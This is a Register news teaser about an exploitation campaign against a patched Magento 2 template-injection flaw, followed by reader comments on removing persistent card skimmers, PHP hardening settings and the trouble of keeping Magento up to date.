Magento shopping cart attack targets critical vulnerability revealed in early 2022 Ecommerce stores using Adobe's open source Magento 2 software are being targeted by an ongoing exploitation campaign based on a critical vulnerability that was patched last year, on February 13, 2022. Security researchers at Akamai say they have identified a server-side template injection campaign aimed at Magneto 2 shops that …
Last month we took on a new client with an old Magento site. It had been infected with something very similar, instead of "xurum.com" it referenced another compromised site. Because credit cards had been exposed and fraudulent payments were reported by CC companies there had to be a PCI-DSS audit to make sure every last trace of infection was scrubbed. The problem was every time we cleaned up the offending card skimmer it would come back, sometimes right away, sometimes after several hours.
It took a lot of debugging to figure out there were two things going on; First the infection was in a database trigger so that each time an admin user logged in it was recorded in a specific database table, that triggered the trigger, that would re-inject the card skimmer. It was bloody hard to find because the database copy we took for analysis only had the plain data, not the triggers or functions. Let that be a lesson for you all!
Second the hackers would periodically return to the site, attempt to place an order as if they were a normal customer and if the expected javascript was missing they would log in with one of the four bogus admin accounts that had been set up, and add the same skimmer again but this time manually. I captured all this in logs and it was clearly practiced, the whole interaction took just 6 minutes. It's a very professional outfit and I suspect they likely contracted this step to a lesser hacking group. Modern hackers are not loners in hoodies with a taste for chaos but regular looking office workers in suits who work a 9-5.
The site was just waiting to get compromised. Not only was it using older versions of software, but it also did not add vulnerable functions like "system" and "exec" and "shell_exec" to PHP's "disable_function" setting. This setting is annoyingly left empty by the PHP Group when they should make it most secure by default. They do disable "allow_url_include" initially which is the sensible decision. Magento could also check for stuff like this on installation and put it in their .htaccess file if necessary, but they never bothered. Popular management software like cPanel do set this to protect newbies.
I think half the problem with Magento is that it's just so tricky to get to run stably in the first place, many don't bother updating it. The attitude seems to be, if it's working for $deitys sake don't touch it!
From personal experience, dealing with Magento is a bit like defusing a bomb. It doesn't matter how careful you are, the whole thing can still blow up in your face with the slightest misstep. It feels like sometimes it doesn't even require a misstep, it just depends what mood Magento is in on that particular day.
What also doesn't help is that many theme and plugin vendors require very specific Magento versions, many of which are woefully outdated and insecure. I had a client who purchased a Magento theme / custom plugin set from a vendor and bought the installation package from them. I had setup a completely stock, fully updated Magento installation for them to use, only to find they had wiped that and put a very old and insecure version in its place (we're talking 4 or 5 years old). I tried to re-update it and the whole site exploded. On checking with the vendor, they said they only support one specific version and we'd have to pay again for them to downgrade to that version. Needless to say, I got them to refund my client's money.
The Register 
Biting the hand that feeds IT
Copyright. All rights reserved © 1998–2025
